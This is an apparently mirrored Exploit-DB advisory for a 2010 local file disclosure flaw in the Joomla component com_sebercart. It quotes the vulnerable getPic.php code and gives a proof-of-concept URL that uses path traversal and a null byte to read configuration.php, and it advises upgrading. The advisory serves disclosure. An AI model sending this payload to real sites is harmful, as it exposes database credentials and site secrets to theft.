Joomla Component Seber Cart Local File Disclosure Vulnerability

vendor:

com_sebercart

by:

AntiSecurity

7,5

CVSS

HIGH

Local File Disclosure

CWE

Product Name: com_sebercart

Affected Version From: 1.0.0.1x

Affected Version To: 1.0.0.1x

Patch Exists: Yes

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2010

Joomla Component Seber Cart Local File Disclosure Vulnerability

A vulnerability exists in com_sebercart version 1.0.0.1x, which allows an attacker to download the image.jpg file and open it with notepad or gedit by sending a specially crafted HTTP request to the vulnerable server. The vulnerable file is components/com_sebercart/getPic.php.

Mitigation:

Upgrade to the latest version of com_sebercart.

Source

Exploit-DB raw data:

=========================================================================================================


  [o] Joomla Component Seber Cart Local File Disclosure Vulnerability
 
       Software : com_sebercart version 1.0.0.1x
       Vendor   : http://www.seber.com.au/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[dot]antisecurity[dot]org
       Home     : http://antisecurity.org/


=========================================================================================================

  [o] Vulnerable File

      components/com_sebercart/getPic.php

       if (file_exists($_GET['p'] . "/components/com_sebercart/thumbs/" . $_GET['pk'] . ".jpg"))
	{	
	header('Content-type: image/jpeg');
	header('Content-Disposition: attachment; filename="image.jpg"');
	readfile($_GET['p'] . "/components/com_sebercart/thumbs/" . $_GET['pk'] . ".jpg");
	}


  [o] Exploit

       http://localhost/[path]/components/com_sebercart/getPic.php?p=[LFD]%00

	Download the image.jpg file and open with notepad or gedit.


  [o] PoC

       http://localhost/components/com_sebercart/getPic.php?p=../../configuration.php%00


=========================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11 inc0mp13te
       ArRay bjork xmazinha & all people in #evilc0de [at] irc.byroe.net


=========================================================================================================


  [o] May 13 2010 - GMT +07:00 Jakarta, Indonesia